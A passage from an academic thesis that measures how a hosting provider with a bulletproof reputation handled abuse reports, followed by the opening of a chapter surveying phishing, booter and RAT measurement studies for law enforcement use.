abuse reports in 2012 were met with a 68%-client notification rate, which decreased
in the years afterward. Client notifications originating from abuse reports related to
(comment) spam increased slowly from 8% in 2011 to almost 40% in 2016 and decreased
in the years afterward. Other categories remained at stable client notification rates
below 20%. The years 2019 and 2020 marked a significant change for CSAM-related
abuse reports, as the client notification rate increased to 66% and 85%, respectively.

Takeaway: The most reported type of abuse is related to copyright and trademark is-
sues (77%), followed by malware, phishing, and brute-force attacks. Abuse reporters in
the first category send out large amounts of reports (over 600 per reporter), whereas re-
porters in the other categories share fewer (9 - 40 reports per reporter). CSAM-related
abuse reports are followed up on the most (45%), followed by spam(vertising) (19%).
Notification rates fluctuate over the years.
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5.6.2. ABUSE FOLLOW-UP FACTORS
To understand what factors influence client notification rates, we examine each abuse
category in increasing order of priority according to the M3AAWG . Like abuse reports,
most notifications are identically structured due to the use of templates. To gather more
insights into the rationale of the company’s operators, we searched for notifications con-
taining non-standard messages or conversations with its customers. Some of them,
which characterize the company’s stance on abuse, are depicted in various figures as
anonymized, translated quotes, some of which have been edited to improve readability.

COPYRIGHT & TRADEMARK ISSUES

A total of 1,000,730 copyright and trademark issues-related abuse reports have been
received within our measurement period. These reports originated from 1,646 unique
reporters; some reporters sent over 100k reports each. Among them are predominantly
companies providing content security, anti-piracy services, and Cloudflare. The latter
forwards received abuse reports, whereas the others filed the reports themselves. Many
of the anti-piracy companies never got any response to their reports. An example is
the now-defunct NetResult, a DMCA takedown service. It has filed 126,085 reports, of
which only 411 could be linked to 4 client notifications. When client notification does
take place, it happens slowly – as we found a 123.7 hours (5 days) median time to notify.
Looking at the list of abuse reporters whose reports did result in a notification, we find
several lawyers and BREIN, the private Dutch copyright watchdog. Their reports are not
ignored, as multiple client notifications demand immediate action because “we cannot
afford problems with these people”, according to the company. Clients get only 12 to 24
hours to mitigate these reported issues, and the company threatens to suspend servers
if they do not do so. However, in some cases, the company thinks along with clients to
allow their operations to continue. For example, after repeated requests from copyright
holders acting for the English Premier League (FAPL), it emails a client to ask permission
“to change the IP address of this server, more offshore due to some issues” instead of
demanding them to take down services. A practice they later had to reconsider as
soon as legal action was taken by the FAPL in 2018. Another option it offered was to
host ‘streaming relay’ servers, which do not host any copyrighted material but merely
relay it. The company seems willing to facilitate the streaming of any kind of material,
as Figure 5.5 illustrates. Cloudflare, operating its distributed reverse-proxy service,
forwarded over 30k abuse reports, 1,247 of them linked to client notifications. Although
this is more than any other reporter in this category, we found that client notifications
depended on the source of the original report and not because it originated from
Cloudflare. For example, abuse reported by BREIN to Cloudflare is followed up on,
whereas other reporters are ignored. The discovery of a folder called Ignore - Cloudflare
in both mailboxes (see Table 5.2) underlines this finding. The company’s stance on
copyright-related abuse has changed over time. Although the client notification rates
remain very low, as depicted in Figure 5.4, the company has been requesting that clients
who stream copyrighted material provide a takedown tool on their websites since 2015,
thereby transferring future abuse reports directly to the resource owner. Removing itself
from the abuse reporting chain – i.e., reporters communicate with the client directly –
explains the decrease in copyright-related abuse reports since late 2015.
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Ticket conversation on 12/07/2020

Company: We are getting a lot of reports regarding your servers. They are generating re-
ports on an hourly basis. It appears they are used for scanning services, which is only
possible if people can opt out and you have an introduction page.

Figure 5.6: Conversation regarding scanning.

Takeaway: Enormous amounts of copyright-related abuse reports are ignored, except
when there is a threat of legal action from piracy watchdogs like BREIN or lawyers. A
compulsory takedown tool for clients operating streaming services reduced the volume
of abuse reports by orders of magnitude.

PORT SCANNING & COMMENT SPAMMING

68,546 abuse reports make up this category, most of them related to port scanning.
We can associate 1,575 clients with these complaints, with 40.5 reports on average.
The majority of reports are very concentrated on a few clients. While one client was
responsible for 29,623 abuse reports within two years, this does not seem to have
influenced notification rates. Only in the rare case that a client receives an extraordinary
amount of reports in a short period of time – as shown in Figure 5.6 – the company does
notify. The second-highest number of 1,696 unique abuse reporters stands out because
of the many automated abuse reports within this category. Among the top reporters are
honeypot operators, intrusion detection systems, and data center network operators,
who automatically file abuse reports after a port scan is detected on their servers. Only
some of these reports resulted in client notification (3.9%). Spamhaus, the blocklist
operator known for its fight against email spam, also lists illicit vulnerability scanners
and comment spamming IPs in its blocklist. Such listings do trigger client notifications
in 83% of the cases. Another type of abuse within this category is trackback abuse, a form
of comment spamming. Blogging systems like WordPress allow for notification of new
content on other blogs, which is abused by spam websites to promote their own content.
One honeypot operator monitors abusive trackbacks and reports automatically, which
was done 30,467 times without any response or notification.

Takeaway: Numerous abuse reports regarding port scanning and comment spamming
from unvetted, automated systems – i.e., Fail2Ban – do not result in many client notifi-
cations. Abuse reports from Spamhaus do trigger frequent notifications.

SPAM( VERTISING)
We collected a total of 40,118 abuse reports related to spam(vertising), concentrated on
several clients operating as resellers. Resellers, as mentioned in earlier work [4, 180],
are frequent clients, especially in the category spam(vertising), and resell rented infras-
tructure to their clients. In doing so, they introduce another intermediary in the abuse
notification chain. This is illustrated by one ticket: “we are resellers, we can’t control
every client, and we didn’t notice all the recent reports”. Spam-related abuse reports
received the second-highest client notification rate of 19%. 1,037 reporters have filed
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Ticket conversation on 25/12/2011

Company: We hosted your website for a long time. Spamhaus listed your IPs, and we did
not care. After that, they listed a few /23 blocks, and now they listed all our IPs because
we did not take any actions. This affects our whole network, thousands of people can not
email because of your domain.

Figure 5.7: Conversation regarding Spamhaus listings.

reports regarding spam activity, yet only one reporter received significant follow-up:
Spamhaus. The Spamhaus Block List (SBL) contains IP addresses with known spamming
activity [229]. As soon as an IP address is listed, the owner of the IP range is notified. If
spamming is not handled within a certain period, Spamhaus can escalate the listing to
block extended ranges – e.g., a \24 range – or eventually list the entire network of the
involved AS. This happened several times, as we learned from the ticket conversations
in Figure 5.7. Such ‘escalation listings’ bother the company because clients complain
that their emails can not be sent or demand new IP addresses outside the listed ranges.
As a result, SBL listings are handled swiftly, and temporary solutions are offered, such
as email relays through non-blocklisted IP addresses. As a result, 60% of its reports lead
to client notifications. Another party that received significant follow-up from its reports
is Level 3, a peering partner. Individuals who encounter activities that violate Level 3’s
acceptable user policy can file a report, which Level 3 forwards to the network operator.
The company, possibly afraid to lose connectivity, created 93 client notifications based
on Level 3 reports, of which at least 35 were related to spam(vertising).

Takeaway: Although categorized as a low priority by the M3AAWG , spam-related abuse
is met with the second-highest client notification rate due to sanctioning by Spamhaus.

MALWARE, PHISHING & BRUTE-FORCE ATTACKS

This category is the second-largest category of abuse within our dataset, totaling
146,572 abuse reports from 3,720 different reporters. This category also involves the
most clients, namely 1,980, with 39.5 abuse reports on average. The most abusive client
has gathered over 18k reports and has a long business relationship with the company
as a reseller offering offshore VPSes. Despite the many abuse reports, this client has
never been terminated. The second client on this list, amassing 3,764 abuse reports, is
another reseller offering unmanaged VPSes and was threatened to be terminated. After
receiving many abuse reports – and forwarding just a handful of them – the company
decided to terminate all its servers. However, after some back-and-forth, business
continued as usual. Reports regarding dictionary or brute-force attacks come from
the majority of reporters and are often the result of intrusion detection systems with
automated abuse reporting. Fail2Ban, a popular system to protect (Web)servers from
brute-force attacks, can also automatically send an abuse report to the owner of an IP
address after a certain number of failed login attempts. At least 57,562 (39%) abuse
reports within this category have been the result of this system. Such reports rarely
lead to client notifications. Phishing reports originated predominantly from NetCraft
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and PhishLabs, both take-down services that vet abuse reports thoroughly and provide
detailed information, thereby facilitating swift client notifications. Additionally, services
like NetCraft monitor reported phishing pages over a period of time to ensure their
takedown. Although the folder names in Table 5.2 would suggest otherwise, 72% of
NetCraft phishing reports resulted in client notifications, and 54% of the PhishLabs
reports. Malware reports originate from various reporters – like community services and
country CERTs – and receive varying notification rates.

Takeaway: The category with the most linked client notifications shows that vetted,
trusted abuse reporters are met with higher client notification rates than automated sys-
tems like Fail2Ban or individual reporters.

BOTNET C&C & DDOS ATTACKS

We could identify a total of 9,480 abuse reports related to Botnet C&C servers and DDoS
attacks within our measurement period. A total of 757 client notifications were sent,
which we could link to 1,050 abuse reports, resulting in an 11.7% client notification rate.
The median time to notify is the second-lowest, namely 27.5 hours, which seems in line
with the priority assigned by the M3AAWG [152]. Abuse reports originated from 1,150
different reporters – many filing only a single report – and are evenly distributed be-
tween DDoS attacks and botnet C&Cs. Among the top reporters that report botnet C&C
servers are Spamhaus, a botnet researcher, and a Dutch SOC. Unlike the name suggests,
Spamhaus also fights botnets by operating its Botnet Controller List (BCL) [229]. Similar
to the reports related to spam(vertising), the influence of Spamhaus is evident, as 84%
of its abuse reports were met with swift client notifications. Clients get just six hours
to resolve reported issues and are automatically suspended if there is no immediate
reaction. For DDoS reports, there are no reporters who file significant amounts of
reports – most of the reports originate from direct victims of DDoS attacks who were
attacked by (one of) the company’s servers. The use of automation in abuse reporting
causes noise for abuse-handling departments. An example of such is an automated
DDoS reporting system sending out the same abuse report every 15 seconds. Unlike
other categories, the company also detects DDoS attacks itself through its data center
monitoring systems. When a high volume of outgoing packets is detected – e.g., a client
sending spoofed packets – the company steps in and notifies the resource owner since
such volumes could damage their network – as depicted in Figure 5.8. From Figures 5.3
and 5.4, we learn that this happened frequently between 2012 - 2015, and diminished in
the years after. Four clients were terminated because of DDoS-related abuse, the only
category in which terminations took place.

Takeaway: DDoS is the only type of abuse predominantly reported by direct victims.
Outgoing DDoS attacks hurt the company’s network as they affect the connectivity
of other clients and are, therefore, quickly addressed. Botnet C&C servers listed by
Spamhaus are removed rapidly as well.

CSAM & HARMFUL CONTENT

On top of the M3AAWG priority scheme, we find CSAM or other harmful content. We
identified a total of 9,247 such abuse reports within our measurement period, associated
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Ticket conversation on 07/01/2012

Company: Hello, your server is sending DDoS attacks for a few hours now. We do not allow
our network to be abused for DDoS. To protect other clients on our switch, we limited your
port speed.

Figure 5.8: Conversation about an ongoing DDoS attack.

with 334 clients, having 29.8 reports on average. 3,125 client notifications were created,
which we could link to 4,213 abuse reports. Abuse reports originated from 310 unique
reporters. Among the very active ones are national hotlines that cooperate within
the InHope network, such as the British IWF and the Dutch Meldpunt Kinderporno.
Their reports were taken care of to a certain degree (notification rates of 16% and 24%,
respectively), whereas reports from individual reporters received almost no follow-up.
The clients associated with the reported abuse hosted either forum boards or operated
image hosting services. In both cases, clients are given a maximum of 24 hours to
handle reports. For example, one client operating multiple image hosting websites is
responsible for 585 CSAM-related abuse reports in four years. Most of these reports
led to a client notification and swift action from the notified client. However, after
four years of abuse reports, law enforcement stepped in and forced the company to
shut down this website. Another client received 382 reports and operated multiple
forums from 2017 until 2020. From 2018 onward, all reports related to these forums
led to client notifications, followed by the deletion of files by this client. In 2020, with
the Dutch Justice Department putting more pressure on bad hosting companies [203],
the company suggested stopping business with this client, as depicted in Figure 5.9.
Ultimately, no client was ever terminated due to CSAM-related abuse. Government
pressure likely resulted in the launch of a website to process takedown requests operated
by the company. The effects of this platform are significant, as 94% of the reports filed
through this platform resulted in a swift client notification – which explains the median
time to notification of 0 hours in Table 5.6 and the increase in client notification rates in
Figure 5.4. Many notifiers successfully used it, except for CyberTip, a Canadian initiative
to fight CSAM. After repeated messages, the company sets up an autoresponder to
instruct CyberTip to use their platform instead of emailing their reports. Despite the
38,425 sent auto-responses (discovered in the Sent items folder in one of the mailboxes),
CyberTip never did so. In communication with clients, the company’s standpoint is
clear – they only take action when certain parties – e.g., law enforcement – demand them
to. They explicitly state this as an excuse to their clients – e.g., “please understand we
only sent you this because authorities demand us, we don’t want to play judge ourselves”.

Takeaway: Most CSAM-related reports are met with swift response. Government actions
and trusted notifiers with access to automated takedown portals have an effect, as client
notification rates increased massively in 2019 and 2020.
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Ticket conversation on 14/07/2012

Company: We can better stop working together. Have a look at your ticket history, you
have had over 200 CSAM reports this year, that is way too much. The government is push-
ing very hard on us to fix this.

Figure 5.9: Conversation regarding CSAM reports.

5.7. EXTERNAL NETWORK CHARACTERISTICS & ABUSE
We now take an external look to answer our third research question and relate external
network indicators found in previous work [4, 128, 153] to internal abuse handling by
scrutinizing historical IPv4 prefix announcements.

METHODOLOGY

To gather insights into the company’s IP presence, we leverage the RIPE NCC announced
prefixes API [204]. Here, we collect historic IPv4 prefix announcements by the ASes
associated with the companies in the operational database within the same time frame
(2011 – 2020). While collecting this data, we noticed an abnormally large IPv4 range to
be announced by this company. These 262,144 IPv4 addresses were part of the AFRINIC
heist [114]. Since we found only 10 abuse reports related to IPs in this large range and
their existence is disputed, we excluded them from further analyses. The resulting
dataset consists of 727 historic announcements related to 259 IPv4 prefixes, totaling
39,936 IPv4 addresses spread over three different ASes operated by three different
brands.

RESULTS

In Figure 5.10, we plotted the number of announced IPv4 prefixes over time per AS. We
observe a slowly increasing number of 13,000 to over 17,000 announced IPv4 addresses
in the period 2011 - 2015, except for two quarters in 2021, which we consider erroneous
data. In 2015, the company rebranded for the first time and moved its registration
to the Seychelles [185], which did not concur with significant changes in IPv4 prefix
announcements. However, in 2016, its second brand – which had been active since late
2011 on a different AS –stopped announcing IPv4 prefixes until 2019. In early 2019,
after another rebranding, all IPv4 prefixes were transferred from Brand #1 to Brand
#3. At the same time, the second brand started announcing a few IPv4 prefixes again.
Figure 5.11 shows the yearly additions and removals of IPv4 prefix announcements
over time. Like previous academic studies [128], we witness a churn of over 2,000 IPv4
prefixes in the advertised IP space per year. Although the total number of announced
IPv4 prefixes remains relatively stable, around 16,000, the total number of involved
(i.e., ever announced) prefixes is 25,344 – a churn rate of 59% over nine years. IP space
fragmentation and (very) short prefix announcements, other indicators for malicious
networks identified by Konte et al [128], are present as well. 117 (45%) of the 259 an-
nounced IPv4 prefixes are small /24 IP addresses, and 124 (48%) prefixes are even single
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Figure 5.10: Quarterly IPv4 prefixes per AS.
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Figure 5.11: Yearly IPv4 prefixes additions and removals.

/32 blocks. 47% of all IPv4 prefix announcements last less than half a year, as depicted
in Figure 5.12. For this last analysis, we only included the prefix announcements from
2013 onward to account for the missing data in 2012. All ASes, except Brand #3, are
home to more than 50% prefix announcements lasting less than half a year. Following
the findings of Alrwais et al. [4], this could be the result of rotating IP blocks to evade
blocklisting, as we have seen anecdotal evidence for in 5.6. The last brand has only 28%
of such short announcements.

Takeaway: Indicators for malicious networks are observed at this company, such as fre-
quent rebrands, IP churn, IP space fragmentation, and short prefix announcements.
These indicators can indicate evading actions to prevent blocking.

5.8. DISCUSSION
In this section, we return to the term bulletproof hosting, discuss the public policy take-
aways of our findings, and elaborate on the inherent limitations that arise from our work.
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Figure 5.12: Duration of IPv4 prefix announcements per AS.

BULLETPROOF HOSTING

The term bulletproof was first coined by industry reports [86] and later found its way
into academic work [128, 130] to describe hosting providers systematically and inten-
tionally ignoring abuse reports. The analyses of such work are dominated by external
viewpoints. We argue that bulletproof hosting – i.e., a behavioral pattern of purposely
ignoring abuse reports – cannot be deduced solely from an external perspective, as it is
impossible to measure intent without knowing internal abuse-handling processes. Mea-
suring takedown rates of abusive content does indicate how willing a hosting provider is
to fight abuse. However, without an inside look, it remains unknown to what extent ne-
glecting abuse reports is a result of an intermediary not notifying its clients or clients not
removing their abusive content. In our case, the studied company is often referred to as
a bulletproof hoster by both law enforcement [185] and researchers [153]. Through simi-
lar analyses as performed by earlier work [128] in § 5.7, we do see indicators of malicious
networks as well. However, our analysis of its abuse-handling processes shows that it
was not impervious to abuse reports, as it did act upon a – be it small – portion of the re-
ceived reports. Although some would question the morality of the company’s decisions,
our analysis and many of the tickets do not show up-front intents of enabling abuse.
We do see, however, that it puts an absolute minimum effort into anti-abuse actions
and solely prioritizes minimizing negative business effects. As a result, Spamhaus list-
ings (that could hurt client connectivity), Level3 reports (that could result in de-peering),
and CSAM-related abuse (with legally binding actions) are met with swift client notifica-
tions. In contrast, individual phishing, spam, or port scanning reports are not. Hence,
our analyses show that the term bulletproof, when leveraging only external measure-
ments, is a tough label to sell. The term assumes intent, which can only be captured
through an insider view.
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PUBLIC POLICY TAKEAWAYS

From § 5.6, we learn that certain instruments lead to abuse follow-up, whereas others do
not. Some reporters within the industry have gained significant power and have hereby
obtained de facto trusted reporter status. Abuse reports from these trusted reporters –
e.g., CSAM hotlines – or reporters who can pressure the company into taking action –
e.g., Spamhaus escalated blocklisting – result in more client notifications than individ-
ual reporters. This implies that individual abuse reporting, either manually – e.g., after
receiving a phishing email – or automated – e.g., Fail2Ban abuse reports – seems less
effective. Abuse reports originating from automated reporting systems operated by indi-
vidual networks result in many similar yet unstructured and less detailed abuse reports
that are more likely to pollute abuse mailboxes than assist abuse-handling personnel.
Security practitioners wanting to report abuse could, therefore, better report to trusted
or powerful reporters instead. Our analyses have shown this to be functioning in the
case of phishing (NetCraft), spam (Spamhaus), and CSAM (InHope hotlines). Recent
E.U. regulations to institutionalize and appoint “trusted flaggers” through the DSA [65]
seems a deliberate action to make the Internet safer. However, we question why these
trusted flaggers are appointed nationally. It makes sense to appoint trusted flaggers for
copyright-related abuse per member state since copyright laws differ per jurisdiction.
However, to fight spam or malware-related abuse, there is no need for 27 different na-
tionally appointed trusted flaggers performing similar work as Spamhaus is currently
doing. Here, European or even worldwide trusted flaggers would seem more effective.

LIMITATIONS

First, our study is focused on a single hosting provider, which inherently limits the gen-
eralizability of our findings. This is, however, not the goal of our study – by no means do
we argue that the observed numbers are generalizable to the entire hosting industry. We
merely use our observations on abuse-handling processes to study the effects of gover-
nance mechanisms to fight abuse. Second, our analyses could be hampered by missing
or deleted data. We trust our law enforcement partners to have gathered and copied both
the database and the mailboxes correctly during the seizure. However, the fact remains,
as we listed in Table 5.3, that over 6,000 tickets have been deleted from the database
(0.2%), and we suspect email deletion from the two mailboxes used for handling abuse
reports as well. The latter is probably due to a change in abuse handling processes, as we
expect the company to handle at least a part of the abuse reports directly from the mail-
box instead of from their ticketing system, as they did before. Additionally, some abuse
reports, as well as client notifications, could well have never been part of our datasets.
They could have been handled by phone or other means of communication. Third, our
method of categorizing abuse reports is straightforward. As listed in Table 5.4, the word
‘DMCA’ in the report’s subject would classify a report as copyright-related. However,
this rigid categorization is not always correct and could have influenced our results. On
top of that, from 2017 on, the company notified abusive clients 220 times with emails
containing the subject header URGENT: MALWARE / PHISHING / SCANS / SPAM and
the corresponding IP address, making these notifications match all of these categories.
Lastly, some communication was not as structured as we assumed in our methodology.
An example of this is a nine-month-long email thread between the company and one of
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its clients consisting of 56 client notifications and responses. Restructuring such outliers
within our large dataset was considered impossible. However, we do not think solving
such issues would have affected our findings significantly.

5.9. CONCLUSIONS
In this study, we empirically investigated internal abuse data of a hosting provider with
a reputation for abuse to study the effectiveness of governance instruments in the anti-
abuse ecosystem. By gathering 1.3M abuse reports and 9,227 unique client notifications,
we find large differences in client notification rates among different reporters and abuse
categories. That is, CSAM and spam-related abuse reports do result in client notifica-
tions, whereas reports regarding copyright and port scanning have low client notifica-
tion rates. Through our longitudinal analysis, we find that reporters with either a trusted
status – e.g., NetCraft, InHope hotlines – and governance instruments like blocklist-
ing (Spamhaus), de-peering (Level3), or governmental pressure that could directly hurt
business continuity affect these client notification rates, whereas individual reporters
of abuse are easily ignored. We find a mismatch between the severity of certain abuse
types and their corresponding anti-abuse governance instruments. We identify previ-
ously found indicators of malicious networks at this company, yet argue that calling this
company bulletproof based solely on external measurements is a tough label to sell. Our
findings support recent E.U. legislation that appoints trusted flaggers to fight abuse, but
we question the implementation per member state for certain types of abuse.
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TECHNICAL MEASUREMENTS AND

CYBERCRIME POLICING

Over the past two decades, researchers have advanced large-scale technical measurements
of cybercrime to analyze techniques, tactics, and procedures (TTP) in cybercrime opera-
tions. These quantifications are typically based on analyses of technical artifacts such as
domains, binaries, or attack traffic and could potentially inform cybercrime policing – i.e.,
assisting law enforcement agencies (LEAs) in determining how their scarce resources can
be best put to use. Yet, we do not know if this potential is being used, nor how such mea-
surement studies align with LEA needs. This chapter investigates the nexus of large-scale
technical measurements and cybercrime policing by combining a survey of previous scien-
tific work with a user study involving LEA professionals. We leverage the concept of value
chains to structure 38 studies featuring measurements of phishing, booter services, and
remote access trojans (RATs). We scrutinize their data sources and characterize their find-
ings to identify common denominators. Then, we let LEA professionals reflect on some of
these measurements and jointly identify the unexplored potential for novel measurements
that align with current needs in cybercrime policing. We find that many academic studies
focus on components in the value chain that are considered less valuable to LEAs and that
most measurements lack geographical or attacker differentiation, thereby not allowing for
concrete action perspectives.

This chapter has been published as: Bijmans, H.L.J., van Eeten, M.J.G. & van Wegberg, R.S. (2025). “A Mea-
sured Response – On the Nexus of Large-Scale Technical Measurements and Cybercrime Policing”. In Proceed-
ings of the 24th Workshop on the Economics of Information Security (WEIS ’25).
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6.1. INTRODUCTION
Cybercrime – referring to crime facilitated or committed by using a computer [193] – has
grown worldwide [76] and even surpassed traditional crime in damages in some coun-
tries [32]. Traditionally, LEAs relied heavily on criminological data collection efforts like
victimization surveys [202] or police reports [59, 113] for designing and evaluating their
interventions. However, it is a well-established fact that the majority of cybercrime in-
cidents are never reported to the police [59, 113], so the actual amount of cybercrime
could be much higher than law enforcement agencies (LEAs) estimate. To understand
modern-day cybercrime, computer scientists create novel detection methods to perform
large-scale technical measurements and capture data on cybercriminal techniques, tac-
tics, and procedures (TTP). Such measurements have the potential to inform law en-
forcement in policing cybercrime in a robust and scalable way. Yet, we do not know if
this potential is being used, nor how such measurement studies align with LEA needs.

In recent years, a wealth of large-scale technical measurements of cybercrime have
been published. Many of these studies revolve around the creation of innovative detec-
tion methods, which are afterward deployed to examine a subset of the Internet to assess
their workings [54]. For example, within one year, Konoth et al. [127], Wang et al. [250],
and Kharraz et al. [124] set out to create a robust method able to detect browser-based
cryptojacking. Other studies examined phishing through large-scale Web scraping [15,
58, 126, 231, 260, 261], studied DDoS attacks trough network telescopes [96, 117, 132]
or deployed honeypots to discover RAT operators [74, 201] Such measurements demon-
strate how well a newly designed method functions, but these studies have not been per-
formed with a focus on generating new insights into cybercriminal prevalence or TTP.

Demonstrating the success of a novel detection method can be straightforward. Per-
forming robust measurements of cybercrime and assessing, for example, prevalence is,
however, far from trivial. In an overview of cybercrime studies, Clayton et al. [41] found
that the existence of concentrations of cybercriminal activity often leads researchers to
suggest that such concentrations are potential vantage points for law enforcement in-
terventions. While economic factors cause some of those concentrations, others are the
result of measurement biases that mislead researchers into drawing wrong conclusions.
Even without such issues, it is unclear what value these studies represent to LEAs. Ad-
ditionally, in 2013, Anderson et al. [7] reported on the insufficiency of cybercrime statis-
tics and encouraged governments to put more effort into detecting and prosecuting cy-
bercrime. Their follow-up study in 2019 reconfirmed their findings, demanding gov-
ernments increase detection efforts to improve cybercrime statistics [5]. Recent aca-
demic studies involving large-scale technical measurements could assist with these ef-
forts. However, we do not know how such measurements can assist LEAs. To the best
of our knowledge, no prior study has investigated how law enforcement professionals
assess the value of academic studies featuring large-scale technical measurements of
cybercrime for policing efforts.

In this chapter, we combine a literature survey and a small user study involving LEA
professionals to address this gap and to answer the following two research questions.
First, RQ1: What are the characteristics of large-scale technical cybercrime measure-
ments? Second, RQ2: How do LEAs evaluate these measurement studies regarding their
alignment with policing needs?
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We answer the first question by surveying the top computer security venues for large-
scale technical measurements of cybercrime published in the last fifteen years (2007–
2023). For feasibility, we scope our search to three cybercrimes that are extensively
empirically studied and received widespread attention by LEAs worldwide [68, 70, 71],
namely phishing, booter services, and remote access trojans (RATs). Measurement stud-
ies on these three cybercrimes help us derive relevant characteristics of research that
might influence whether a study is more or less aligned with LEA needs. Such charac-
teristics are then relevant for measurement studies beyond these three cybercrimes. To
structure our analysis, we leverage the concept of cybercrime value chains [248], which
dissects cybercrimes into components and resources. For each study, we identify the
components in the value chain it investigates and review its data collection, methods,
and findings. Next, we report on a workshop with LEA professionals that elicits their as-
sessment of a sample of studies and answers our second research question. Additionally,
we let participants generate ideas on how to improve measurements to assist in cyber-
crime policing.

By combining our survey of 38 studies with the LEA workshop’s results, we find
that academic measurements focus on the deployment and execution of cybercrime,
whereas LEAs desire to learn more about development and monetization. We observe
that the majority of measurement studies lack geographical or attacker differentiation,
thereby not allowing for concrete, actionable perspectives for law enforcement.

In short, we make the following contributions:

1. We survey 38 large-scale technical cybercrime measurements and characterize
datasets, methods, and findings, which we combine with the first-ever assessment
of scientific measurements by law enforcement.

2. We find that measurements often focus on the center part of the value chain (de-
ployment and execution), whereas LEAs value insights at the ends of the value
chain (development and monetization) to support cybercrime policing.

3. We observe that current measurement approaches largely overlook geographical
and attacker differences, resulting in less actionable measurements for LEAs.

The remainder of this chapter is structured as follows: we detail our methodology in § 6.2
and present the results of our survey in § 6.3–6.6. Then, we report on our workshop with
law enforcement in § 6.7, critically discuss our work in § 6.8, and conclude in § 6.9.

6.2. METHODOLOGY
This section first introduces the concept of cybercrime value chains, explains our focus
on the three selected cybercrimes, and elaborates on our methodology to survey past
scientific work.

6.2.1. CYBERCRIME VALUE CHAINS
To structure our synthesis of past scientific work, we leverage the concept of cybercrime
value chains [248] to map large-scale measurements to value chain components. As cy-
bercrime relies on a delimited mix of resources to turn a profit [248], we can structure
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components in the value chain with a required set of resources as an input and a re-
source as an output. For example, as illustrated in Figure 6.2, to deploy a phishing page,
one needs a phishing kit and a domain as input, which results in a phishing page as out-
put. Components in the value chain are not strictly sequential, as some components can
be executed in parallel (e.g., a booter service can deploy its storefront website and per-
form reconnaissance operations simultaneously). Instead of fulfilling all components
in the value chain themselves, modern-day cybercriminals rely on specialists to fulfill
specific components for them [14, 104, 248]. Specialized third parties provide resources,
which can be products (e.g., software) as well as services (e.g., hosting infrastructure).
For every outsourced component, a specialist will take a cut. Hence, to avoid these cuts
or to expand operations, cybercriminals can decide to self-organize components in the
value chain. We refer to this practice as vertical integration [239]. Only a few, such as
Thomas et al. [239], have studied the cybercrime ecosystem with such a holistic view. As
we demonstrate in this work, most scholars focus their measurements on specific com-
ponents of a value chain instead of considering the complete value chain.

6.2.2. SELECTION OF CYBERCRIMES

We survey a large body of such measurements to study the characteristics of large-scale
technical measurements of cybercrime and assess their value for law enforcement. How-
ever, as scrutinizing all past measurements of every type of cybercrime is near impossi-
ble, we scope our survey to three types of cybercrime that received significant attention
from both academics and LEA, and argue that the identified characteristics are then rel-
evant for measurement studies beyond these three specific cybercrimes. To discover
what types of cybercrime measurements are valuable for LEA, we search Europol’s ‘In-
ternet Organised Crime Threat Assessment’ (IOCTA) from 2019 until 2023 [68, 70, 71].
These reports give an overview of the cybercrime landscape, as well as the efforts LEA has
made to police it. Cybercrimes mentioned in these reports include ransomware, DDoS
attacks, Business Email Compromise (BEC) fraud, dark markets, phishing, bulletproof
hosting, botnets, and many more. We constructed value chains for each cybercrime,
determined whether measurements were possible at different phases along the chain,
and initiated an initial literature search to find large-scale technical measurement stud-
ies. It turns out that certain cybercrimes allow for more measurements than others. For
example, we could find a plethora of phishing measurement studies in the top venues,
but none related to BEC fraud. Consequently, we selected three types of cybercrime that
received attention from LEA and were measured frequently by scientists, namely: phish-
ing, booter services, and remote access Trojans (RATs).

6.2.3. SURVEY APPROACH

We employ a systematic approach to search for studies performing large-scale technical
measurements of one of the selected cybercrimes. We start by selecting conferences and
journals. First, we take the Google Scholar top ten computer security conferences and
journals [93], supplemented by their relevant co-located workshops. We extend this list
with computer science venues focused on Internet measurements and cybercrime. Ta-
ble 6.1 contains the complete list of included conferences and journals. In June 2023, we
used the ACM Digital Library and IEEE Xplore to search for papers published in these
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conferences or journals since 2007 – covering the last 15 years of academic research.
Conferences and workshops that are not in these libraries were searched manually. To
be included, the paper title or abstract must contain one of the following terms: phish∗,
booter∗, ddos, rat, remote access trojan, cybercrime, cyber crime. Manual title and ab-
stract screening was performed on the resulting 615 papers. Through this process, we
identified 32 papers that contained a large-scale technical measurement of one of the
three selected cybercrimes. We added 6 other relevant works discovered during our lit-
erature research. In total, we found 38 studies, of which 19 papers measure phishing,
14 examine booter services, and 5 investigate RATs. We examine these papers through
the lens of cybercrime value chains. We first identify which value chain component(s)
the measurement leverages. Next, we classify measurements as either passive (based on
an existing dataset, involving no scanning for artifacts or interaction with infrastructure)
or active (based on an active collection of artifacts, involving scanning for cybercriminal
infrastructure, etc.). Finally, we extract data sources and collect time ranges.

6.3. BOOTER MEASUREMENTS
In a DDoS (Distributed Denial of Service) attack, a server, service, or network is flooded
with a massive volume of traffic, rendering it unavailable to legitimate users. Execut-
ing a DDoS attack requires significant resources and technical capabilities. To allow
low-skilled criminals to perform such attacks, criminal entrepreneurs have set up so-
called booter or stresser services, which offer DDoS attacks as a service. In this section,
we examine large-scale technical measurements of booter services in earlier work. The
booter service value chain is depicted in Figure 6.1. Here, we identify four components.
First, during reconnaissance, the attacker finds the resources (e.g., vulnerable protocols)
and scans for infrastructure to abuse. During deployment, criminal entrepreneurs set
up shop and organize their attack servers, domains, and their protections. Execution
involves the actual DDoS attack, involving both a client and a target, and monetization
revolves around all financial aspects of running a booter service. Although DDoS at-
tacks can also originate from botnets or nation-state actors, several studies concur that
booter services exert a significant impact on the DDoS landscape [132, 181, 238]. We find
14 large-scale technical measurements of booter services published between 2013 and
2021, list them in Table 6.2, and detail them in the next paragraphs.

DATASETS

Two main data sources are used to study booter services: booter operations data found
in databases or website scrapes and DDoS observations through honeypots or darknets.
Since 2013, a variety of booter operations databases have been examined. First, an analy-
sis of TwBooter by Karami & McCoy [120], followed by an analysis of 14 booter services by
Santanna et al. [210]. A year later, Karami, Park & McCoy [121] scrutinized the databases
of Asylum Stresser and Lizard Stresser, and complemented their data collection with web-
site scrapes from vDOS. Thomas, Clayton & Beresford [238] used website scrapes and API
logs from vDOS together with the leaked database of CMDBooter to validate their hon-
eypot measurements. The vDOS database was used again in 2017 by Brunt, Pandey &
McCoy [26]. The other data source used to study booters is honeypots, which capture
amplification DDoS attacks. Deploying such honeypots allows researchers to track at-
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tacks over time and was initiated by Krämer et al. [132], with the design of AmpPot –
a honeypot network that was deployed at 21 locations worldwide. The same honeypot
was later used by Noroozian et al. [181], which deployed eight of them in Japan, and by
Jonker et al. [117], which deployed 24 of them worldwide. Thomas, Clayton & Beres-
ford [238] designed a different honeypot to measure amplification attacks and deployed
